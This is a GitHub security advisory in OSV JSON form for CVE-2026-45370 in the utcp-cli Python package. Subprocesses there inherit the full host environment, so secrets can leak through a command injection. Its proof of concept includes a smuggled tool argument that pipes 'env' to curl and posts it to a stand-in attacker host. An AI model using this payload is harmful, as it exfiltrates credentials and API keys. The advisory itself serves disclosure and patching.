CVE-2026-45370: python-utcp Full Process Environment Exposed To Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-5v57-8rxj-3p2r",
  "modified" : "2026-05-15T23:47:02Z",
  "published" : "2026-05-14T20:56:07Z",
  "aliases" : [ "CVE-2026-45370" ],
  "summary" : "python-utcp: Full Process Environment Exposed to CLI Subprocess - Secrets Leakage via Command Injection",
  "details" : "## Summary\n\n`_prepare_environment()` in `cli_communication_protocol.py` passes a full copy of `os.environ` to every CLI subprocess. When combined with the Command Injection vulnerability (CWE-78) in `_substitute_utcp_args()` tracked as GHSA-33p6-5jxp-p3x4, an attacker can exfiltrate all process-level secrets in a single tool call.\n\n## Vulnerable Code\n\n```python\n# cli_communication_protocol.py\ndef _prepare_environment(self, provider: CliCallTemplate) -> Dict[str, str]:\n    env = os.environ.copy()        # All secrets inherited\n    if provider.env_vars:\n        env.update(provider.env_vars)\n    return env\n```\n\n## Impact\n\nAny environment variable present in the host process is accessible to injected commands. In typical AI agent deployments this includes:\n\n- Cloud provider credentials (AWS_SECRET_ACCESS_KEY, AZURE_CLIENT_SECRET)\n- Database connection strings (DATABASE_URL)\n- LLM API keys (OPENAI_API_KEY, ANTHROPIC_API_KEY)\n- Internal service tokens\n\n## Proof of Concept\n\n```python\n# Tool defined as:\n{\"command\": \"grep UTCP_ARG_pattern_UTCP_END logfile.txt\"}\n\n# Attacker supplies:\ntool_args = {\"pattern\": \"x; env | curl -s -d @- https://attacker.com\"}\n\n# Executed bash script:\n# CMD_0_OUTPUT=$(grep x; env | curl -s -d @- https://attacker.com 2>&1)\n# -> Full env dump sent to attacker including all secrets\n```\n\n## Patched\n\nFixed in `utcp-cli` 1.1.2. `_prepare_environment` no longer copies the full host environment. Inheritance is controlled by a new `CliCallTemplate.inherit_env_vars` field:\n\n- `null` (default): a small built-in OS-specific allowlist (`PATH`, `HOME`, `LANG` on Unix; `PATH`, `PATHEXT`, `SYSTEMROOT`, `USERPROFILE`, etc. on Windows) is inherited so shells and binaries continue to work.\n- `[]`: strict mode -- nothing from the host environment reaches the subprocess; only `env_vars` is propagated.\n- `[\"FOO\", \"BAR\"]`: exactly those host variables are inherited (replaces, not merges with, the default allowlist).\n\n`env_vars` is always layered on top and overrides any inherited value. Secrets like `OPENAI_API_KEY` no longer reach the subprocess unless the call template explicitly opts them in.\n\n## Mitigation\n\nUpgrade to `utcp-cli >= 1.1.2`. There is no workaround in earlier versions short of stripping secrets from the host process before any CLI tool call.\n\n## Credit\n\nReported by @ZeroXJacks.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "utcp-cli"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.1.2"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.1.1"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/universal-tool-calling-protocol/python-utcp/security/advisories/GHSA-5v57-8rxj-3p2r"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-45370"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/universal-tool-calling-protocol/python-utcp"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-526" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-14T20:56:07Z",
    "nvd_published_at" : "2026-05-14T21:16:48Z"
  }
}